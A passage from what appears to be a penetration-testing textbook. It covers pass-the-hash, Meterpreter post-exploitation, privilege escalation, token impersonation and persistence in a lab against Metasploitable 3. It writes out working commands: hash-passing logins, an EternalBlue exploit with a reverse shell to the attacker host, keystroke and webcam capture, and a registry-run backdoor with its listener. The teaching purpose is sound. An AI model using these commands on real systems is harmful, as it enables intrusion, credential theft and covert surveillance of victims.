retrieve sensitive information from the target system, such as IP configurations, routing tables, 
network sessions, storage information, network services, and running processes:

Figure 9.60: Running scanning
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As a penetration tester, retrieving such sensitive information can lead to identifying user 
accounts and even determining whether your target is connected to more than one network.

Having completed this exercise, you have learned how to leverage the vulnerabilities found within 
SNMP to retrieve sensitive information from a target system.

Summary
In this chapter, you have learned how to perform network-based penetration testing, from discovering 
profile systems on an organization’s network to discovering and exploiting various common network 
protocols and security vulnerabilities on host systems. Furthermore, you learned about various pass-
word-based attacks, how to pass the password hashes of users across the network, and how to gain 
access to host systems without needing to crack a user’s password. 

I trust that the knowledge presented in this chapter has provided you with valuable insights, sup-
porting your path toward becoming an ethical hacker and penetration tester in the dynamic field 
of cybersecurity. May this newfound understanding empower you in your journey, allowing you to 
navigate the industry with confidence and make a significant impact. In the next chapter, Chapter 10, 
Post-Exploitation Techniques, you will learn how to expand your foothold on a compromised system.

Further reading
• SANS cheat sheets – https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-

sheets/

• Credential access – https://attack.mitre.org/tactics/TA0006/

Be sure to use the search log4j and search printnightmare commands to 
find some popular exploit modules.

https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/
https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/
https://attack.mitre.org/tactics/TA0006/
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Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://packt.link/SecNet
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Post-Exploitation Techniques

During the exploitation phase of the Cyber Kill Chain, ethical hackers and penetration testers focus on 
taking advantage of potential security vulnerabilities that were identified during the reconnaissance 
phase with the intent to determine whether the security vulnerability exists on the targeted system 
or not. However, while the exploitation phase may seem like a victory for aspiring ethical hackers, 
keep in mind that the objective is to discover known and hidden security flaws that may exist on the 
organization’s assets.

After exploiting a targeted system or network, performing post-exploitation techniques enables pen-
etration testers to gather sensitive information such as users’ log-on credentials and password hashes, 
impersonate high-privilege user accounts to gain access to other systems, perform lateral movement 
to go deeper and expand their foothold into hidden areas of the network, and use pivoting techniques 
to perform host discovery and exploitation through a compromised host.

In this chapter, you will learn how to leverage collected password hashes to gain access to targeted 
systems on a network by using pass-the-hash techniques with Kali Linux. Next, you will leverage 
Meterpreter to perform advanced post-exploitation techniques on a compromised target to set up 
persistent access and perform impersonation of administrators with token stealing. Furthermore, you 
will learn how to encode sensitive files for data exfiltration to evade threat detection systems. Lastly, 
you will learn how to intercept and collect network traffic to identify any sensitive information that 
travels between hosts on a network.

In this chapter, we will cover the following topics:

• Pass-the-hash techniques
• Post exploitation using Meterpreter
• Data encoding and exfiltration
• Man-in-The-Middle (MiTM) attacks

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• Metasploitable 3 – https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8
• PacketWhisper – https://github.com/TryCatchHCF/PacketWhisper

Pass-the-hash techniques
As you learned in Chapter 9, Performing Network Penetration Testing, the Microsoft Windows operating 
system does not store the passwords of local users in plaintext. Rather, it converts the passwords into 
a New Technology LAN Manager (NTLM) hash on newer versions of Windows and stores that within 
the Security Accounts Manager (SAM) file. Penetration testers usually experience time constraints 
while conducting a penetration test on an organization. For instance, while cyber-criminals have 
a lot of time to perform reconnaissance, identify security vulnerabilities, and exploit their targets, 
penetration testers do not typically have unlimited time. In many cases just a few weeks is allocated 
to complete a security assessment on specific company assets. This means they must work quickly 
and efficiently to ensure the goals of the pentesting engagement are met.

Performing password cracking can be a very time-consuming task. While some penetration testers 
may want to perform a brute-force password attack, it can take months or even years to retrieve 
the password from an offline cryptographic hash dumped from the shadow or SAM file of a com-
promised system. A dictionary password attack can take less time than the brute-force method, but 
password-cracking tools must still test each word in the wordlist. Some wordlists may contain over 
4 million words! As expected, it takes a lot of time for the password-cracking tool to compare each 
word against the hash value.

An efficient technique that’s commonly used by penetration testers to overcome the time challenge is 
known as Pass-The-Hash (PTH). This technique allows a penetration tester to use the NTLM hash of a 
Windows system to gain access and execute remote commands on other Windows systems within an 
Active Directory (AD) domain where each system uses a shared account, without having to crack the 
password. For instance, it is not uncommon for organizations to use a shared domain administrator 
account to perform administrative tasks on domain member computers.

If, as a penetration tester, you can capture a domain administrator’s password hash while it’s sent 
over the network or from a compromised system, you can use the hash value to gain access to other 
systems within the organization. You might even be able to gain unauthorized access to the Domain 
Controller (DC) on the network. If the goal of the network penetration test is to compromise the DC, 
then this is endgame. However, it’s important to take note of the objectives of the penetration test 
and ensure you’ve met the deliverables of the organization. For instance, if the objective is to identify 
security misconfigurations on networking devices and security appliances, but the penetration tester 
is focused on compromising the DC rather than staying within scope, this can lead to legal issues and 
spending unnecessary time on something that’s out of scope.

https://www.kali.org/get-kali/
https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8
https://github.com/TryCatchHCF/PacketWhisper
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The following are common PTH tools used by ethical hackers and penetration testers:

• PTH-WinExe – Enables penetration testers to use a recovered hash for authentication instead 
of providing a password.

• Mimikatz – Enables penetration testers to extract plaintext hashes, passwords, and tickets 
(Active Directory) from the memory of a compromised system.

• Responder – This tool helps penetration testers to capture and respond to Link-Local Multicast 
Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS), and multicast Domain Name 
System (mDNS) protocols over a private network.

• CrackMapExec – Enables penetration testers to automate access to multiple systems within 
an Active Directory environment.

• Impacket – This Python-based tool helps penetration testers perform PTH techniques to gain 
access to additional systems on a network.

Over the next few sub-sections, you will learn how to use some of these tools and develop the skills 
to gain access to Windows-based systems by leveraging the PTH technique. For each exercise within 
this section, we’ll be using the administrator’s LAN Manager (LM) and NTLM hashes, obtained from 
the Metasploitable 3 (Windows-based) virtual machine from the previous chapter.

Gaining a shell with PTH-WinExe
The PTH-WinExe tool enables penetration testers to perform pass-the-hash very easily during security 
testing within an organization. To get started with this exercise, please use the following instructions:

1. Firstly, power on both Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following commands to leverage the administrator’s 

LM and NTLM hashes to gain remote access to the targeted system:

kali@kali:~$ pth-winexe -U 
Administrator%aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d91 
3c245d35b50b //172.30.1.21 cmd
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3. When using the PTH-WinExe tool, a % character is used to separate the username and the LM 
hash. As shown in the following screenshot, we can successfully pass the hash of the admin-
istrator’s account to the target and gain a Windows Command Prompt shell:

Figure 10.1: Working with PTH-WinExe

As shown in the preceding screenshot, once an ethical hacker or penetration tester is able to 
retrieve the LM and NTLM hash of a shared user account, it’s simple to perform the pass-the-
hash technique to access other systems on the network as the administrator. As a result, the 
threat actor can use the hash for lateral movement across the network to gain unauthorized 
access to systems that use the same shared account, escalate privileges, and access sensitive 
data. This highlights the critical need for robust security measures such as secure hashing 
algorithms, network segmentation, and access controls.

Next, you will learn how to use another popular tool to perform pass-the-hash over a network to gain 
access to systems.

Working with Impacket
Impacket is a Swiss army knife that enables ethical hackers and penetration testers to parse data into 
networking services that are running on targeted systems across a network. In this section, you will 
learn how to leverage the administrator’s LM and NTLM hashes with the power of Impacket’s PsExec 
module to gain access to a targeted Windows system.

To get started with this exercise, please use the following instructions:

1. Firstly, power on both Kali Linux and Metasploitable 3 (Windows-based) virtual machines.

To learn more about PTH-WinExe, please see https://www.kali.org/tools/
winexe/.

https://www.kali.org/tools/winexe/
https://www.kali.org/tools/winexe/
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2. On Kali Linux, open Terminal and use the following commands to perform the pass-the-hash 
technique using Impacket with the LM and NTLM hashes of the administrator account:

kali@kali:~$ impacket-psexec Administrator@172.30.1.21 -hashes 
aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

As shown in the following screenshot, the impacket-psexec tool enables us to pass the hash 
and obtain a Windows shell on the targeted system:

Figure 10.2: Working with Impacket

Furthermore, the preceding screenshot shows that Impacket was able to discover a writable 
share (ADMIN$), then upload a malicious payload to the targeted system to set up a reverse shell 
back to Kali Linux and provide us with system-level privileges.

Next, you will learn how to gain a remote desktop session by passing the hash onto a targeted system.

Pass-the-hash for remote desktop
Quite often, IT teams within organizations enable the Microsoft Remote Desktop Protocol (RDP) on 
their Windows client and server systems. This protocol provides a convenient method to remotely 
access systems over the network, which allows the IT team to perform remote maintenance and trou-
bleshooting on host machines. However, if the hash of a shared administrator account is retrieved 
from a compromised system or captured from the network, a penetration tester can use it to establish 
an RDP session with another client or server on the network.

To learn more about Impacket, use the impacket-psexec -h command and please 
see https://github.com/fortra/impacket.

https://github.com/fortra/impacket
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In this exercise, you will learn how to use xFreeRDP, an open-source implementation of the RDP, to 
pass the NTLM hash of an administrator account to a targeted Windows-based system and gain an 
RDP session. To get started with this lab, please use the following instructions:

1. Firstly, power on both the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the xFreeRDP tool to pass the hash of the administrator 

account onto the targeted system:

kali@kali:~$ xfreerdp /u:Administrator /
pth:e02bc503339d51f71d913c245d35b50b /v:172.30.1.21

3. Next, you will be prompted to accept the self-signed digital certificate from the remote host. 
Simply type Y and hit Enter as shown below:

Figure 10.3: Using xFreeRDP

The xFreeRDP tool was able to establish an RDP session to the targeted system, and using the 
known password (vagrant) for the Administrator account will enable you to log in, as shown 
below:
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Figure 10.4: Remote Desktop

As you learned in this section, passing the hash is an alternative method to gain access to a targeted 
system, without having to perform password-cracking techniques since this is quite time-consuming. 
You have learned how to use various tools to perform pass-the-hash across a network using Kali Linux. 
In the next section, you will discover post-exploitation techniques using Meterpreter.

Post exploitation using Meterpreter
In this section, you will learn to leverage the power of Meterpreter to help automate many post-exploita-
tion actions on a compromised host. Meterpreter is a Metasploit component that allows a penetration 
tester to interact with a reverse shell between the victim/compromised machine and the attacker 
machine. Metasplot does all the heavy lifting and even helps the attacker manage multiple sessions.

To put it simply, Meterpreter is a process that runs on the memory of the compromised system and 
does not write any data on the compromised system’s disk, therefore reducing the risk of detection and 
attribution. Penetration testers will be able to execute various actions on their Meterpreter console, 
which are then remotely executed on the compromised target machine.
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Let’s quickly recap. In Chapter 2, Building a Penetration Testing Lab, you assembled and built your very 
own penetration testing lab environment with various internal networks and an internet connection, 
as shown in the following diagram:

Figure 10.5: Network topology

The PentestNet network contains a Metasploitable 3 (Windows-based) virtual machine, using a du-
al-homed network connection to both the 172.30.1.0/24 (PentestNet) and 10.11.12.0/24 (HiddenNet) 
networks. The overall objective is to emulate an environment where you are the penetration tester with 
an attacker machine (Kali Linux) connected to the 172.30.1.0/24 (PentestNet) network to perform 
lateral movement to discover additional and hidden networks within the organization and pivot your 
attacks through a single compromised host to other devices within the company.

Based on our lab design from Chapter 2, Building a Penetration Testing Lab, the Metasploitable 3 (Li-
nux-based) virtual machine is connected to the 10.11.12.0/24 (HiddenNet) network only and it is 
unreachable by your Kali Linux machine. Therefore, the only way to access 10.11.12.0/24 is by 
pivoting via the 172.30.1.0/24 network. This environment is just right for learning remote host and 
network discovery through a compromised system and understanding lateral movement and pivoting 
techniques.

Before you proceed onto the upcoming sub-sections, ensure that you have already compromised a vul-
nerability on the Metasploitable 3 (Windows-based) virtual machine and have obtained a Meterpreter 
session (reverse shell). If you haven’t, please use the following commands on Kali Linux to exploit the 
EternalBlue vulnerability and establish a reverse shell from the target to Kali Linux:

kali@kali:~$ sudo msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/
meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.30.1.21                                                                     
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 172.30.1.50                                                                                                
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
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You should now have a Meterpreter session on your Kali Linux machine. In the following sections, 
you will learn how to perform various post-exploitation actions using Meterpreter.

Core operations
In this section, you will gain hands-on experience and skills to perform core actions during the post-ex-
ploitation phase of penetration testing using Meterpreter. The core operations are functions that allow 
the penetration tester to gather specific information about the target, which can only be collected 
when you’ve gained access to the targeted system. Some of these actions allow the penetration tester 
to retrieve system information, local user accounts, and password hashes, identify running services, 
and migrate the Meterpreter shell to a less suspicious process to avoid threat detection.

To complete this exercise, ensure you have a reverse shell from Metasploitable 3 (Windows-based) 
with Meterpreter:

1. The sysinfo command allows Meterpreter to retrieve system information about the compro-
mised system, such as the hostname, the operating system and its architecture, the number 
of logged-on users, and whether it’s connected to a domain, as shown below:

Figure 10.6: System information

This command is very useful to help you identify which system you’ve compromised and its 
operating system while on the network.

2. When you’ve obtained a Meterpreter instance (session) from a compromised system, it’s import-
ant to know the user privileges that are running the Meterpreter session on the compromised 
host. Such information is useful when performing token stealing and impersonation attacks. 
To view the user privileges, use the getuid command, as shown below:

Figure 10.7: Retrieving user identity

As shown in the preceding screenshot, the Meterpreter instance is running as SYSTEM-level 
privileges on the remote compromised host machine. If the user privilege is not SYSTEM, you 
will be restricted from performing various post-exploitation actions.
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3. After compromising a targeted system, it’s important to determine whether the target is a 
virtual machine and what’s the hypervisor. The following post-exploit module enables you to 
determine if you have compromised a host within a virtual machine:

meterpreter > run post/windows/gather/checkvm

As shown in the following screenshot, the targeted system is a virtual machine and it’s running 
within VirtualBox Manager:

Figure 10.8: Determine the virtual environment

Within the Windows operating system, the password hashes of each local user account are 
stored in the Security Account Manager (SAM), which is found in the %SystemRoot%/system32/
config/SAM directory.

4. Using the hashdump command will extract the contents of the SAM file and display it on your 
Meterpreter session, as shown below:

Figure 10.9: SAM file contents

The data collected from the SAM file provides a list of valid usernames and password hashes. 
These password hashes can be cracked using offline password-cracking techniques such as 
brute-force or dictionary attacks, and can be used to perform pass-the-hash techniques to gain 
access to other systems in the network that use the same shared user credentials.
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Viewing the active processes on a compromised system helps penetration testers determine 
which appliances are running the host, such as threat monitoring and detection applications 
like antivirus. In addition, you’ll be able to view the process IDs, as well as the users, and de-
termine the privileges the appliances are running on.

5. Using the ps command within Meterpreter displays the process information on a compromised 
target, as shown below:

Figure 10.10: Viewing running processes

Identifying the users and user privilege information associated with running processes helps 
ethical hackers and penetration testers determine whether there are any high-privileged user 
accounts and session tokens stored on the compromised system. This information can then be 
exploited by a cyber-criminal during privilege escalation, token stealing, and impersonation 
attacks.

When you are working within a Meterpreter session, use the help command to view a list of 
functions and their descriptions that can be used to perform post-exploitation actions on the 
compromised system. The background command allows you to send an active Meterpreter ses-
sion to the background without terminating the session. Use the sessions command to view all 
active sessions and the sessions -i <session-ID> command to interact with a specific session.

6. Since Meterpreter runs within the targeted system’s memory and does not write any data on 
the disk, it usually runs as a process on the compromised system to reduce detection. To au-
tomatically migrate the Meterpreter process to a less suspicious process on the compromised 
host, use the following command:

meterpreter > run post/windows/manage/migrate
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As shown in the following screenshot, the post/windows/manage/migrate module enables 
you to migrate the Meterpreter process ID to another on the compromised system to reduce 
threat detection:

Figure 10.11: Migrating process

You have gained hands-on skills for retrieving the local user details and migrating the Meterpreter 
process on the compromised system. Next, you will learn about additional user interface actions that 
are performed during penetration testing to collect data from the target host.

User interface options
Establishing a Meterpreter interactive session between the compromised system and your attacker 
machine enables you to perform actions to collect sensitive and confidential information from the 
target system.

The following is a brief list of useful commands that are used within Meterpreter:

• keyscan_start: Meterpreter begins capturing the keystrokes entered by a user on the com-
promised host.

• keyscan_stop: Stops capturing the keystrokes entered by a user on the compromised system.
• keyscan_dump: Exports the captured keystrokes into a file.
• screenshot: Meterpreter will capture a screenshot of the desktop on the compromised host.
• screenshare: Begins a real-time stream showing the live actions performed by a user on the 

compromised host.
• record_mic: Meterpreter activates the microphone on the compromised host and begins 

recording.
• webcam_list: Displays a list of webcams available on the compromised host.
• webcam_snap: Activates the webcam on the compromised host and takes a picture.
• webcam_stream: Begins a live stream from the webcam on the compromised system.
• search: Using the search –f <filename> command quickly searches on the compromised 

system for the file.
• pwd: Displays the present working directory when using a Meterpreter shell on a compromised 

system.
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• cd: This command allows you to change the working directory while using the Meterpreter 
session on a compromised host.

While these commands are not limited to the overall functions and features of Meterpreter during 
post-exploitation, these are definitely some actions that will pique your interest during a penetration 
test. Capturing the keystrokes and viewing the live desktop stream of the victim’s system will reveal 
anything the user may type on their keyboard and view on their monitors. Next, you will learn how 
to perform file transfer operations using Meterpreter.

File transfers
After compromising a system, you may want to transfer files such as additional payloads from your 
attacker system to the victim machine and even exfiltrate sensitive documents. In this section, you 
will learn how to perform file transfer operations between a compromised host and Kali Linux using 
Meterpreter.

To get started with this exercise, please use the following instructions:

1. To upload a file such as a malicious payload, Meterpreter supports file transfers between the 
attacker and the compromised host. Let’s upload a binary file from Kali Linux to the C:\ di-
rectory of the targeted system, that Metasploitable 3 (Windows-based):

meterpreter > upload /usr/share/windows-binaries/vncviewer.exe c:\\

As shown in the following screenshot, the binary file (vncviewer.exe) was successfully up-
loaded to the compromised system:

Figure 10.12: Uploading a file

2. Next, use the shell command within Meterpreter to spawn the native shell on the compro-
mised host. Since the targeted system is running a Windows-based operating system, you will 
receive the Windows Command Prompt interface, as shown below:

Figure 10.13: Native shell
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As you can imagine, a penetration tester can execute native commands on the Microsoft Win-
dows operating system from the current Meterpreter session that will be remotely executed 
on the compromised target.

3. Next, use the cd\ command to change the working directory to the C: drive on the compro-
mised Windows system and use the dir command to display the contents within the directory:

C:\Windows\system32> cd\
C:\> dir

As shown in the following screenshot, we can see a list of items within the C: directory and 
even the newly transferred file we had previously uploaded:

Figure 10.14: Locating a file

4. Next, use the exit command to exit the Windows native shell and return to the Meterpreter shell.

Meterpreter also allows penetration testers to download files from their compromised targets 
to their Kali Linux machines.
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5. Use the following command to download a file from the C: directory of the target to the /home/
kali/ directory on Kali Linux:

meterpreter > download c:\\jack_of_diamonds.png /home/kali/

As shown in the following screenshot, the file was successfully downloaded to the Kali Linux 
machine:

Figure 10.15: Downloading a file

Having completed this section, you have learned how to perform file transfers between a compromised 
host and Kali Linux using Meterpreter. Next, you will learn how to perform privilege escalation and 
impersonation on a compromised host.

Privilege escalation
After exploiting a security vulnerability and gaining either a reverse or bind shell, you may not be able 
to perform administrative actions or tasks on the compromised system due to having low privileges 
on the compromised machine. Therefore, it’s important to understand the need to escalate your user 
privileges to a high-privilege user such as the local administrator, a domain administrator, or even the 
SYSTEM level. Escalating your user privileges on a compromised system simply allows you to modify 
configurations and perform administrative functions on the victim machine.

Penetration testers can use Meterpreter to easily escalate their user privileges on a compromised host. 
To get started with this exercise on using Meterpreter to perform privilege escalation, please use the 
following instructions:

1. On Meterpreter, use the getuid command to verify the user privilege that Meterpreter is 
currently using on the compromised host.

2. Next, execute the use priv command within Meterpreter to load the privilege extension if 
it’s not loaded already.

The double backslashes (\\) are used as escape characters for Windows-style directory 
paths and are necessary for Meterpreter to interpret the path correctly.
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3. Lastly, use the getsystem command within Meterpreter to automate the process of escalating 
the user privileges to a higher user such as Admin or even SYSTEM, as shown below:

Figure 10.16: Escalating privileges

As shown in the preceding screenshot, before escalating the user privileges, Meterpreter was 
using the privileges of the vagrant user account to perform its actions. After escalating the 
user privileges, Meterpreter is now running with system privileges on the compromised host.

Having completed this exercise, you have learned how to use Meterpreter to automate the process of 
privilege escalation on a compromised host. Next, you will learn how to steal a user’s token and use 
it for impersonation.

Token stealing and impersonation
Imagine if a domain administrator logged-in on a targeted machine on a network to perform some 
administrative task. At the point the domain administrator was authenticated to the Windows system, 
a token was temporarily created on the system for the user; if the same system is compromised by the 
penetration tester during this time, the domain administrator’s token can be stolen and impersonat-
ed by the penetration tester, thus allowing the penetration tester to compromise other hosts on the 
network and eventually the organization’s DC.

Impersonation allows a penetration tester to pretend to be another user on a system or network without 
knowing the targeted user’s credentials, such as their password or even the password hashes of their 
account, but by using another user’s token to gain authorized access to a system.

There are two types of tokens that are usually created and stored on a host. These are as follows:

• Delegation token: This token is created on a system when a user logs in to that system and 
provides the privileges to allow the user to perform actions that are within the limitation of 
their user privileges. Additionally, this type of token is created when a user remotely accesses 
a Windows host using Microsoft’s RDP.

A token represents the security context of a logged-on user on a Windows operating system. 
Tokens persist for the duration of the user’s session and are used by the operating system 
to control access to resources.
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• Impersonation token: This type of token allows a user to access remote network services such 
as file shares and network drives across a network.

Both types of tokens are persistent until the host is rebooted; after that, the delegation token becomes 
an impersonation token, which maintains the same privileges. Therefore, penetration testers will 
attempt to steal the impersonation token, which will allow them to impersonate a higher-privilege 
user, such as a domain administrator, on the network.

To get started with impersonating another user, please use the following instructions:

1. On the Meterpreter shell, load the incognito module by using the following command:

meterpreter > use incognito

2. Next, display the list of delegation and impersonation tokens on the compromised system:

meterpreter > list_tokens -u

As shown in the following screenshot, there’s the default delegation tokens used by the oper-
ation system to perform system-related tasks:

Figure 10.17: Listing tokens

3. Next, on the Metasploitable 3 (Windows-based) virtual machine, log in as the Administrator 
user to simulate a login session as a privileged user that will create a new delegation token.

4. Next, use the following command to view the new delegation token created for the Adminis-
trator user:

meterpreter > list_tokens -u
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The following screenshot shows an updated list of available tokens on the compromised host:

Figure 10.18: Identifying interesting tokens

As shown in the preceding screenshot, we can see all the tokens on the compromised host 
because the Meterpreter session is running as SYSTEM-level privileges. Additionally, since 
the local administrator is currently logged in to the host, a new delegation token is created.

5. To steal and impersonate the administrator’s token, use the impersonate_token command 
with the user token, as shown:

meterpreter > impersonate_token VAGRANT-2008R2\\Administrator

As shown in the following screenshot, we are impersonating the local Administrator on the 
compromised target:

Figure 10.19: Using a token

6. Next, use the following commands to identify the current user privileges on Meterpreter and 
view the list of tokens once more:

meterpreter > getuid
meterpreter > list_tokens -u

As shown in the following screenshot, we are currently impersonating the Administrator 
account and we are unable to view a list of tokens because the current Meterpreter session is 
not operating with SYSTEM-level privileges:
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Figure 10.20: Checking privileges

7. To reclaim SYSTEM-level privileges once more, use the getsystem command to escalate the 
user privileges, use the following commands::

meterpreter > getsystem
meterpreter > list_tokens -u

As shown in the following screenshot, Meterpreter is now operating with SYSTEM-level priv-
ileges and we are able to view all available tokens:

Figure 10.21: Listing tokens

8. Another technique to impersonate a user such as the local Administrator is to identify a run-
ning process on the compromised system that is running using the Administrator’s privileges 
and steal the token for the process. Use the following command to view a list of processes on 
the compromised target:

meterpreter > ps

 The SYSTEM token has the highest level of privileges as compared to other to-
kens on a system. Administrator users do not have the system-level privileges to 
access all the tokens on a host but they can migrate their processes into SYSTEM 
privileges. When using SYSTEM privileges, a penetration tester can see and access 
all the tokens on the host. To escalate to SYSTEM, use the getsystem command 
on Meterpreter.
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As shown in the following screenshot, the ps command enables us to view a list of processes, 
their process ID (PID), and even which user is running the process:

Figure 10.22: Viewing processes

As shown in the preceding screenshot, there are a few processes running as VAGRANT-2008R2\
Administrator, such as PIDs 4036 and 4464.

9. To steal the token that’s associated with PID 4036, use the following commands:

meterpreter > steal_token 4036

10. Next, use the following commands to connect to the Windows Command Prompt and verify 
the user privileges:

meterpreter > shell
C:\Windows\system32> whoami

As shown in the following screenshot, we are currently impersonating the Administrator 
account on the compromised system:

Figure 10.23: Impersonating a user
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11. Lastly, to revert to SYSTEM-level privileges on Meterpreter, use the following rev2self com-
mand as shown below:

Figure 10.24: Reverting to a user

During this exercise, you have learned about the importance of performing impersonation to gain the 
privileges of another user without the need to know their user credentials or password hashes. Next, 
you will learn how to set up persistence on a compromised system.

Setting up persistence
After remotely exploiting a security vulnerability within a host, the payload is usually delivered, which 
allows the penetration tester to gain a reverse shell on the target. Since Meterpreter runs within the 
memory of the target, the session will be terminated when the compromised host loses power or 
reaches an inactivity timeout. Implementing persistence on the compromised host will ensure the 
penetration tester always has access to the target whenever it’s online.

Persistence is not commonly done in penetration testing but rather within red teaming exercises. 
Red teaming is using advanced penetration testing techniques, tools, and strategies similar to what 
Advanced Persistent Threats (APTs) would use to infiltrate an organization, maintain persistence 
access, and exfiltrate data for as long as they have a foothold in the network. However, in this section, 
you will learn some strategies to implement persistence using Meterpreter on a compromised host.

To get started with this exercise, ensure you have already established a Meterpreter session on the 
Metasploitable 3 (Windows-based) virtual machine and please use the following instructions:

1. Within organizations, Microsoft Windows Enterprise is usually deployed on employees’ worksta-
tion computers as it allows IT administrators to centrally manage their clients on the network. 
On Microsoft Windows Enterprise edition, there’s RDP, which allows the IT administrator to 
remotely access other Windows client machines on the network. Meterpreter allows penetra-
tion testers to remotely enable RDP on a compromised Windows operating system:

meterpreter > run post/windows/manage/enable_rdp
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This post-exploitation module will check whether the compromised host supports RDP, check 
whether RDP is enabled already, and turn it on if it’s disabled as shown in the following screen-
shot:

Figure 10.25: Enabling RDP

When you’ve gained SYSTEM- or administrator-level privileges with Meterpreter on a Windows 
host, you can perform any administrative actions, such as creating new user accounts.

2. Use the shell command within Meterpreter to spawn a Windows native shell, then use the net 
user pentester password1 /add command to create a new user on the compromised host:

Figure 10.26: Creating a user account

At this point, you’ll be able to remotely access the compromised system using RDP with the 
user account you’ve created whenever the system is online.

Meterpreter is not a built-in feature of Windows Enterprise, but a post-exploita-
tion tool commonly used in penetration testing and offensive security scenarios.
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Metasploit contains two specific exploit modules that enable penetration testers to set up persistence 
on a compromised Windows host. These modules are as follows:

• exploit/windows/local/persistence

• exploit/windows/local/registry_persistence

Both of these modules will create a payload that modifies the system registry value located within the 
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ location and stores the VBS script in the 
C:\WINDOWS\TEMP\ directory, causing the payload to execute each time the system boots or when a 
user logs on. These are very dangerous and should be removed when you have completed the techni-
cal aspect of the penetration test within the organization. If these payloads are not removed from the 
registry and the TEMP folder, a threat actor can gain access to the host machine without authentication.

To set up persistence using Metasploit, please use the following instructions:

1. Ensure there’s a Meterpreter session between Kali Linux and the Metasploitable 3 (Win-
dows-based) virtual machines.

2. Next, use the background command to send the Meterpreter session to the background without 
terminating it and obtain a session ID, as shown below:

Figure 10.27: Checking running sessions

3. Ensure you take a note of the session number; use the sessions command within Metasploit 
to see all sessions.

The following techniques should not be used unless exclusively required during a pen-
etration test as not only will you be creating a backdoor for yourself but anyone will be 
able to access the targeted system at any time without authentication. Please take note 
of your actions and exercise caution when using the persistence modules within Meter-
preter/Metasploit. If you do not require setting up persistence on a compromised host, 
simply do not do it.
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4. Next, select the exploit/windows/local/persistence module, set the session number, and 
configure the module to take effect when the system starts up:

msf6 > use exploit/windows/local/persistence
msf6 exploit(windows/local/persistence) > set SESSION 1
msf6 exploit(windows/local/persistence) > set STARTUP SYSTEM

5. Configure the LHOST and LPORT values as the IP address on your Kali Linux machine and use 
a different listening port (do not use the default port, 4444):

msf6 exploit(windows/local/persistence) > set LHOST 172.30.1.50
msf6 exploit(windows/local/persistence) > set LPORT 1234
msf6 exploit(windows/local/persistence) > exploit
msf6 exploit(windows/local/persistence) > back

6. Once the exploit is launched, Meterpreter creates a VBS script with the payload and uploads 
and executes it on the compromised host, as shown:

Figure 10.28: Configuring persistence module

7. When the exploit/windows/local/persistence module is executed, it provides the exact 
registry location where it configures the system to launch the payload each time the system 
boots. Take note of this location as you will need to remove it at the end of the penetration test 
by accessing the registry location where the auto-run was installed and set up, then deleting 
the persistence entry. Afterward, reboot the targeted system and verify that the persistence 
entries were removed.
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8. Next, configure a listener to capture the callback connection from the target whenever it 
reboots:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/
migrate
msf6 exploit(multi/handler) > set LHOST 172.30.1.50
msf6 exploit(multi/handler) > set LPORT 1234
msf6 exploit(multi/handler) > exploit

The following screenshot shows the successful execution of the preceding commands and that 
the listener is waiting for an incoming connection:

Figure 10.29: Setting up a handler

When creating the listener, use the same port as you used when setting up the persistence 
module.

9. Next, reboot the Metasploitable 3 (Windows-based) virtual machine and log in as the Admin-
istrator user to trigger the persistence script on the targeted system and initiate the callback 
to Kali Linux.
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The following screenshot shows the target established a callback session to the listener when 
rebooted:

Figure 10.30: Launching an exploit

10. Each time the system reboots and/or a user logs on, the payload will automatically execute 
and attempt to establish a reverse shell back to your attacker machine.

In this section, you have learned how to set up persistence to ensure you can connect to the host 
whenever it’s online. Next, you will learn how to perform pivoting and lateral movement.

Lateral movement and pivoting
Lateral movement allows the penetration tester to move further into the targeted network while dis-
covering additional assets and exploiting security vulnerabilities on remote systems with the intent 
of stealing confidential data and expanding a foothold. Within many organizations, their network is 
usually segmented with routers and firewalls to prevent cyber-attacks and threats from propagating 
through their organization. However, there are various host devices that are configured with a du-
al-homed network connection that simply allows the host to be connected to two different IP networks 
at the same time.

As a penetration tester, your attack machine is usually connected to a specific IP subnet, which may 
be restricted from accessing a remote network within the organization. However, discovering a host 
on your directly connected network with a dual-homed network connection to another IP subnetwork 
is like metaphorically finding a portal to another dimension. The objective is to compromise a host 
with a dual-homed network connection, which will allow us to perform lateral movement across the 
organization and pivot attacks through the compromised host.

The following network diagram shows our penetration testing lab environment with the objectives 
of lateral movement and pivoting:
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Figure 10.31: Network topology

As shown in the preceding diagram, the objective of this section is to demonstrate how to perform 
lateral movement between directly connected networks such as 172.30.1.0/24 by exploiting a host 
device that has a dual-homed network connection to a remote network such as 10.11.12.0/24.

To get started with these exercises on lateral movement and pivoting, please use the following in-
structions:

1. Power on both the Metasploitable 3 (Windows-based) and Metasploitable 3 (Linux-based) 
virtual machines. Remember the Metasploitable 3 (Linux-based) virtual machine is connected 
to the 10.11.12.0/24 network only.

2. Ensure you have obtained a Meterpreter session on the Metasploitable 3 (Windows-based) 
virtual machine as it contains a dual-homed network connection.

3. On the Meterpreter session, use the arp command to view the entries within the Address 
Resolution Protocol (ARP) cache of the compromised target. The ARP cache contains a list of 
IP-to-MAC address bindings of all the host devices that recently transmitted a message between 
themselves and the compromised host:

Figure 10.32: Checking the ARP cache
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As shown in the preceding screenshot, the compromised host has one interface on the 
